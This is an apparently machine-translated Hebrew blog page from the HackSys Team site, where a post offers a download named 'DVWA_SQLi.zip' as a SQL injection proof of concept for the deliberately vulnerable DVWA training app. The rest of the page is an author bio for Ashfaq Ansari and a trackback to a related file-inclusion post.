הורד יישום אינטרנט פגיע לעזאזל – SQL Injection PoC

 

DVWA_SQLi.zip

 
תודה לך על שהקדשת הזמן שלך כדי לקרוא את הפוסט הזה. אם אתה להתמודד עם כל בעיה, אנא אל תהסס לכתוב לנו ב: hacksysteam@hotmail.com

 
 

178,065 סה"כ צפיות, 46 צפיות היום

שתי הכרטיסיות הבאות לשנות את התוכן בהמשך.

Ashfaq אנסארי

חוקר אבטחה
Ashfaq אנסארי הוא המייסד של קוד צוות HackSys שם "Panthera". הוא חוקר אבטחה עם ניסיון בהיבטים שונים של אבטחת המידע. הוא חיבר "נהג פגיע HackSys קיצוני" ו - "Shellcode מוות". הוא גם כתב ופרסם סקירות טכניות שונות על ניצול תוכנה ברמה נמוכה. עניין הליבה שלו טמון ב "ניצול רמה נמוך", "הנדסה הפוכה", "ניתוח תכנית" ו - "Fuzzing ההיברידית". הוא fanboy של בינה המלאכותית ומערכות לומדות. הוא הפרק להוביל ל null פונה.

ההודעות אחרונות על ידי Ashfaq אנסארי (לראות את כל)

אין תגובות ל “יישום אינטרנט פגיע לעזאזל – SQL Injection”

Trackbacks / כל זמנים

  1. יישום אינטרנט פגיע לעזאזל - הכללת קובץ מקומית (LFI) | HackSys צוות - מחקר אבטחת מחשבים, בדיקת חדירה, פריצה אתית, תמיכה הטכנית של Windows - [...] אתה לא קראת את החלק הראשון, הנה הקישור: http://hacksys.vfreaks.com / עט בדיקות /--web-App-SQL-injection.html הפגיע ארור [...]

השאר תגובה

כתובת הדוא"ל שלך לא תפורסם. שדות חובה מסומנים *